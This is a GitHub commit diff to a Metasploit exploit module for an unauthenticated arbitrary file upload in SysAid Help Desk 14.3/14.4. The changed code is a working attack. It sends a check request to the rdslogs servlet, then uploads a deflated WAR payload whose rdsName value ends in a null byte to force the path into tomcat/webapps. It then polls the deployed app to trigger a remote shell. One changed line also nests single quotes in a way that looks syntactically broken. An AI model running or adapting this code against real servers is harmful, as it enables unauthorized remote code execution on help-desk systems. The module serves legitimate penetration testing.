Skip to content

Commit 57c4a33

Browse files
committed
Fix paths for windows and cleanup
1 parent ea49fd2 commit 57c4a33

File tree

1 file changed

+23
-14
lines changed

1 file changed

+23
-14
lines changed

modules/exploits/multi/http/sysaid_rdslogs_fle_upload.rb

Lines changed: 23 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
1414

1515
def initialize(info = {})
1616
super(update_info(info,
17-
'Name' => 'SysAid Help Desk rdslogs Arbitrary File Upload',
17+
'Name' => 'SysAid Help Desk 'rdslogs' Arbitrary File Upload',
1818
'Description' => %q{
1919
This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4.
2020
The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated
@@ -62,14 +62,16 @@ def initialize(info = {})
6262
def check
6363
servlet_path = 'rdslogs'
6464
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
65+
6566
res = send_request_cgi({
6667
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
6768
'method' => 'POST',
6869
'vars_get' => {
6970
'rdsName' => bogus_file
7071
}
7172
})
72-
if res and res.code == 200
73+
74+
if res && res.code == 200
7375
return Exploit::CheckCode::Detected
7476
end
7577
end
@@ -103,24 +105,31 @@ def exploit
103105
'data' => Zlib::Deflate.deflate(war_payload),
104106
'ctype' => 'application/octet-stream',
105107
'vars_get' => {
106-
'rdsName' => tomcat_path + app_base + ".war" + "\x00"
108+
'rdsName' => "#{tomcat_path}/tomcat/webapps/#{app_base}.war\x00"
107109
}
108110
})
109111

110112
# The server either returns a 200 OK when the upload is successful.
111-
if res and (res.code == 200)
112-
print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s +
113-
" seconds for deployment")
114-
register_files_for_cleanup("webapps/" + app_base + ".war")
115-
sleep(datastore['SLEEP'])
113+
if res && res.code == 200
114+
print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
115+
register_files_for_cleanup("tomcat/webapps/#{app_base}.war")
116116
else
117-
fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed")
117+
fail_with(Failure::Unknown, "#{peer} - WAR upload failed")
118118
end
119119

120-
print_status("#{peer} - Executing payload, wait for session...")
121-
send_request_cgi({
122-
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
123-
'method' => 'GET'
124-
})
120+
10.times do
121+
select(nil, nil, nil, 2)
122+
123+
# Now make a request to trigger the newly deployed war
124+
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
125+
res = send_request_cgi({
126+
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
127+
'method' => 'GET'
128+
})
129+
# Failure. The request timed out or the server went away.
130+
break if res.nil?
131+
# Success! Triggered the payload, should have a shell incoming
132+
break if res.code == 200
133+
end
125134
end
126135
end

0 commit comments

Comments
 (0)